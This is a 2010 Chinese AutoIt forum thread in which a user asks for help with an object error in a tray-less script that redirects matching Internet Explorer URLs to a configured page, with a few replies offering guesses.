zwanlei 发表于 2010-10-31 14:51:44

Error:请求动作失败(请求于对象),大家帮帮忙!

本帖最后由 zwanlei 于 2010-10-31 15:51 编辑

代码如下:
#NoTrayIcon
#Region ;**** 参数创建于 ACNWrapper_GUI ****
#AutoIt3Wrapper_icon=D:\tools\ICO\The Icons\Network.ico
#AutoIt3Wrapper_outfile=urltz.exe
#EndRegion ;**** 参数创建于 ACNWrapper_GUI ****
Opt("MustDeclareVars",1)
;au3监控IE地址栏网址自动路转
Global $ConfigFile = @ScriptDir & "\urltz.ini"
Global $oShell,$oShellWindows,$SourceUrls,$TargetURL
Global $DefaultTargetURL = "http://www.hao123.com"
HotKeySet("#{F9}","_Exit")

$SourceUrls = IniReadSection($ConfigFile,"SourceURL")
$TargetURL = IniRead($ConfigFile,"TargetURL","TargetURL",$DefaultTargetURL)

While 1
Sleep(500)
$oShell = ObjCreate('shell.application')
$oShellWindows = $oShell.windows
For $Window In $oShellWindows
        Local $i
        If StringRight($Window.FullName, 12) = 'iexplore.exe' Then
        ;If StringRight($Window.FullName, 12) = '360se.exe' Then
                For $i = 1 To $SourceUrls
                        If $Window.locationurl=$SourceUrls[$i] or $Window.locationurl=$SourceUrls[$i] & "/" Then $Window.navigate($TargetURL)
                Next
        EndIf
Next
WEnd

Func _Exit()
        Exit
EndFunc
在执行时,有时(如将IE窗口关闭)会弹出错误提示:
Line 19 (File "F:\urltz.exe")
Error:请求动作失败(请求于对象)

各位大侠们,高手们,帮帮小弟看如何才能避免这个错误提示啊?

yhxhappy 发表于 2010-10-31 15:09:51

第19行:
If $Window.locationurl=$SourceUrls[$i] or $Window.locationurl=$SourceUrls[$i] & "/" Then $Window.navigate($TargetURL)

$Window.locationurl
我记得变量中间使用小数点会有问题的,换成“_”,试试看

zwanlei 发表于 2010-10-31 15:49:55

回复 2# yhxhappy

这里点不能换成"_", 因为这里点不是变量名的一部分,是指$window的locationurl属性.
高手们继续帮忙啊

zwanlei 发表于 2010-11-1 11:37:47

自己顶,高手帮忙啊

xyyie 发表于 2010-11-1 13:19:01

新手不知道问题的所在。

G,man。 发表于 2010-11-1 14:12:56

呵呵 不懂,跟着学习

wgboy 发表于 2010-11-1 15:42:25

{:face (355):} 应该出错在这里面。。去看看是不是你的数组有问题啊。

                For $i = 1 To $SourceUrls
                        If $Window.locationurl=$SourceUrls[$i] or $Window.locationurl=$SourceUrls[$i] & "/" Then $Window.navigate($TargetURL)
                Next

zwanlei 发表于 2010-11-2 07:25:00

本帖最后由 zwanlei 于 2010-11-2 07:36 编辑

数组没有问题,算了,我已经找到了另外的方法达到这个目的,谢谢大家都帮助!

我新写的代码发到源码区了:http://www.autoitx.com/thread-19400-1-1.html
页: [1]
查看完整版本: Error:请求动作失败(请求于对象),大家帮帮忙!